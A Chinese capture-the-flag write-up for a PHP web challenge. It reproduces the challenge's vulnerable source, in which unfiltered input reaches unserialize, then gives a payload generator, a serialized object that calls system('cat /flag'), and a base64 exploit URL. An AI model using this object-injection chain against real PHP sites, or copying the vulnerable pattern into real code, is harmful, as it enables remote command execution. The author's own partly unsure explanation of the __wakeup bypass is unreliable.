古剑山的题目难度还是挺高的
Web
un
赛题描述:web签到。
点击发现提示I’ll never tell you that flag is hidden in root dir(/) :-):-):-),说明flag藏才根目录/flag,并且看到url有个?f的get传参类型,猜测题目考的是文件包含,尝试直接get包含/flag
http://ip:port/index.php?f=/flag
提示有正则过滤:The /flag has been detected by regular expression: /[ <>?!@#$%&*()+=|\-\\}{:”;’~`,\/]/,用不了特殊字符,那只能包含当前目录文件了。那试试包含index.php看看源码
可以显示,那分析一下源码
<?php
error_reporting(0);
class pop
{
public $aaa;
public static $bbb = false;
public function __wakeup()
{
// PHP 5.4
throw new Exception("You're banned to serialize pop!");
}
public function __destruct()
{
for ($i=0; $i<2; $i++) {
if (self::$bbb) {
$this->aaa[1]($this->aaa[2]);
} else {
self::$bbb = call_user_func($this->aaa["object"]);
}
}
}
}
if (isset($_GET["code"])) {
unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
if(is_string($_GET["f"]) === false){
echo "The f param must be string";
exit();
}
$user_f = $_GET["f"];
$regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
if(preg_match($regex, $user_f)){
echo "The ".$user_f." has been detected by regular expression: ".$regex;
exit();
}
echo file_get_contents($user_f);
}else{
echo "<a href='/index.php?f=secret'>show me secret!</a>";
}
ShellScript代码审计发现可以向其传入code参数的并且进行了base64和反序列化,这样的话直接分析反序列化的类就可以了,f的传参就不需要分析了,因为过滤比较严格,应该是迷惑用的
反序列化
pop的类有两个魔术方法,__wakeup()和__destruct(),__wakeup()是在反序列化的时候触发,内部有个抛出异常,会终止程序进行,故需要绕过__wakeup()函数;__destruct()是在实例在被摧毁时触发,在这里的话只要正常进行下去,一定会进去的。
__wakeup()绕过
__wakeup()函数的绕过比较简单,只要保证对象数>大于变量数就会跳过执行,直接在O:3改为O:4就可以了
分析__wakeup()
分析内部逻辑,发现有个$this->aaa[1]($this->aaa[2]);可以让用户自定义调用函数可以将其变成eval(‘cat /flag’)就可以获得flag了。结合$bbb是固定的false,猜测解题思路应该是先饶$bbb变为true,然后再执行$this->aaa[1]($this->aaa[2])。
但是$bbb的值不能直接通过传入序列化的$bbb=true是没有用的,因为后来public static $bbb = false;会重新覆盖掉传入的$bbb,并且那两层for循环就在告诉我们要先让$bbb=true后再第二次循环时执行危险函数。
$bbb的值由call_user_func()函数的返回值决定,call_user_func()函数可以接受一个函数和全局函数的字符串,如phpinfo()->’phpinfo’,这样的话call_user_func(phpinfo())是等价于call_user_func(‘phpinfo’)的,这样的话只要让$aaa[“object”]=’phpinfo’就可以了
这样下来只要让$aaa[1]=’eval’,$aaa[2]=’cat /flag’,$aaa[‘object’]=’phpinfo’就可以完成绕过了
payload.php
<?php
class pop
{
public $aaa = [
1 => "system",
2 => 'cat /flag',
"object" => 'phpinfo'
];
}
$pop=new pop;
$a=serialize($pop);
echo $a;
?>
PHP这里为什么用system而不用eval了是因为eval无法调用,因此只要换一个目命令执行的函数就好了
O:3:"pop":1:{s:3:"aaa";a:3:{i:1;s:6:"system";i:2;s:9:"cat /flag";s:6:"object";s:7:"phpinfo";}}
PHP这里为什么又不用理会__wakeup的绕过我也不清楚,如果将O:3改为O:4的话会无会显,不知道怎么会是,可能是和注释的// PHP 5.4有关系吧
payload:http://ip:port/index.php?code=TzozOiJwb3AiOjE6e3M6MzoiYWFhIjthOjM6e2k6MTtzOjY6InN5c3RlbSI7aToyO3M6OToiY2F0IC9mbGFnIjtzOjY6Im9iamVjdCI7czo3OiJwaHBpbmZvIjt9fQ==
flag{04ef2a5d-82e2-400b-81cd-d5adc4097df7}